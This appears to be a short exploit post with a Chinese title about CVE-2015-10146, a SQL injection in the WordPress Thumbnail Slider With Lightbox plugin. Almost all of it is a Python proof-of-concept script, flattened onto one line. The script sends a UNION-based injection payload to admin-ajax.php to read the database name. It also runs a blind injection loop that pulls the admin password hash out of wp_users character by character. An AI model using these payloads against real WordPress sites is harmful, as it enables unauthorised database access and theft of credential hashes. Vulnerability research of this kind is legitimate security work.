CVE-2015-10146 WordPress Thumbnail Slider With Lightbox插件SQL注入漏洞

# CVE-2015-10146 SQL Injection PoC # Target: WordPress Thumbnail Slider With Lightbox plugin <= 1.0.4 # Type: SQL Injection via 'id' parameter # Authentication: Requires Administrator-level access import requests import sys TARGET_URL = "http://target-wordpress-site.com/" COOKIES = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_username": "admin", "wordpress_logged_in_password": "hashed_password_here" } def exploit_sql_injection(target_url, post_id): """ Exploit SQL injection in id parameter Extract database name as demonstration """ endpoint = f"{target_url}wp-admin/admin-ajax.php" # Malicious payload to extract database name # Original query is appended with our injected query malicious_id = f"{post_id} UNION SELECT NULL,NULL,NULL,NULL,database(),NULL,NULL,NULL,NULL,NULL-- -" data = { "action": "wpss_get_thumbnail_slider", "id": malicious_id } try: response = requests.post(endpoint, data=data, cookies=COOKIES, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response preview: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def blind_sql_injection(target_url, post_id): """ Blind SQL injection technique for data extraction Extract admin password hash character by character """ endpoint = f"{target_url}wp-admin/admin-ajax.php" charset = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" extracted_hash = "" for position in range(1, 35): for char in charset: payload = f"{post_id} AND SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),{position},1)='{char}'-- -" data = { "action": "wpss_get_thumbnail_slider", "id": payload } try: response = requests.post(endpoint, data=data, cookies=COOKIES, timeout=10) if "valid_response_marker" in response.text: extracted_hash += char print(f"[*] Position {position}: {char} | Current hash: {extracted_hash}") break except: continue return extracted_hash if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_sql_injection(target, "1") else: print("Usage: python cve-2015-10146.py <target_url>")